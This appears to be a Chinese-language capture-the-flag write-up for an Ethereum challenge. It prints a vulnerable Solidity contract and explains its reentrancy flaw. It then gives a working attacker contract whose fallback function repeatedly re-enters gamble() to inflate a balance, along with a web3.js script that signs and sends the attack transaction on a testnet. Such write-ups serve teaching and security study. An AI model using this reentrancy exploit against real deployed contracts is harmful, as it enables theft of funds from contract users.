題目分析

這是一道典型的以太坊可重入漏洞。題目給出了智能合約的地址和源代碼。

pragma solidity >=0.4.21 <0.6.0;

import "./SafeMath.sol";

contract Entrance {
using SafeMath for *;
mapping(address => uint256) public balances;
mapping(address => bool) public has_played;
uint256 pin;

event EntranceFlag(string server, string port);

modifier legit(uint256 _pin) {
if (_pin == pin) _;
}

modifier onlyNewPlayer {
if (has_played[msg.sender] == false) _;
}

constructor(uint256 _pin) public {
pin = _pin;
}

function enter(uint256 _pin) public legit(_pin) {
balances[msg.sender] = 10;
has_played[msg.sender] = false;
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function gamble() public onlyNewPlayer {
require (balances[msg.sender] >= 10);
if ((block.number).mod(7) == 0) {
balances[msg.sender] = balances[msg.sender].add(10);
// Tell the sender he won!
msg.sender.call("You won!");
has_played[msg.sender] = true;
} else {
balances[msg.sender] = balances[msg.sender].sub(10);
}
}

function getFlag(string memory _server, string memory _port) public {
require (balances[msg.sender] > 300);
emit EntranceFlag(_server, _port);
}
}

可以看出來,要執行 getFlag需要滿足一個條件,就是balance需要大於300。而賬戶的balance可以通過 gamble()每一次獲得10。然後這個函數有一個 modifier onlyNewPlayer,也就是說,只有用戶只要gamble獲勝一次後,就不能再或得gamble的獎勵。那麼怎麼才能多次獲得gamble的獎勵呢?這就需要利用到可重入漏洞 鏈接。

可重入漏洞的細節可以參考上面的鏈接。簡單來說,由於合約調用了call函數向發送者(攻擊者)發送消息,而發送者可以定義fallback函數來在接收到消息的時候再次調用gamble函數,從而形成多次循環。 attacker -> gamble (balance add 10) -> fallback(attacker) -> gamble (balance add 10),知道我們判斷自己的餘額大於300,然後調用getFlag函數,傳遞自己的server IP和port number用來接收flag。

利用過程

部署合約

pragma solidity ^0.4.0;

interface target {
function enter(uint256) external;
function gamble() external;
function getFlag( string , string ) external;
function balanceOf(address) external view returns(uint256);
}

contract CTF {
using SafeMath for *;
target private tar = target(0x1898Ed72826BEfa2D549004C57F048A95ae0B982);

function enter() private {
tar.enter(0xbc4f77);
}

function gamble() private {
tar.gamble();
}

function execute() public {
if ((block.number).mod(7) == 0) {
enter();
gamble();
}
}

function() external {
if (tar.balanceOf(address(this)) < 350) {
tar.gamble();
} else {
tar.getFlag(XXXXXXXX, XXXXXXXX);
}
}
}

編譯上述合約並且部署到測試鏈上。

調用合約

我們可以通過錢包的方式來調用合約,但是要注意由於執行合約需要多次調用gamble函數,因此如果給定的gas太少,會導致燃料不足退出,所以需要在調用的時候給定比較多的gas。然而Ethereum Wallet不能設置比較大的gas,因此,我們採用Web.js腳本來調用合約。攻擊的腳本如下。

const Web3 = require(web3);
var sleep = require(sleep);
const EthereumTx = require(ethereumjs-tx)

const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/YOUTOKEN"));

const CONTRACT_ADDR = 0x2B14ffcAB51c257c4824F3BB70107C7a91Ee7117;
const FUNC_SIGNATURE = "0x61461954";

const keystore = YOUR KEYSTORE STRING;

const account = web3.eth.accounts.decrypt(keystore, YOURPASSWORD);

let txn_object = {
"from": account.address,
"to": CONTRACT_ADDR,
"gas": 0xfffff,
"gasPrice":0x1000000000,
data: FUNC_SIGNATURE
};

console.log([*] begin);

web3.eth.getTransactionCount(account.address, pending)
.then (nonce => {
console.log(nonce: + nonce);
txn_object.nonce = nonce;
account.signTransaction(txn_object)
.then(signedTx =>
web3.eth.sendSignedTransaction(signedTx.rawTransaction)
.then(function(receipt) {
// console.log("Transaction receipt: ", receipt);
console.log("block: ", receipt.blockNumber);
if (receipt.blockNumber % 7 == 0) {
console.log("catch you! Done");
return;
}
})
.catch(err => console.error(err))
)
})

這裡,我們首先本地簽名交易,然後通過發送rawTransaction的方式利用infura提供的API廣播交易,這樣的好處是本地不需要同步下載以太坊的數據,比較方便。

攻擊成功的具體函數調用過程見該交易的內部交易。

感謝 @amenda


推薦閱讀:
相關文章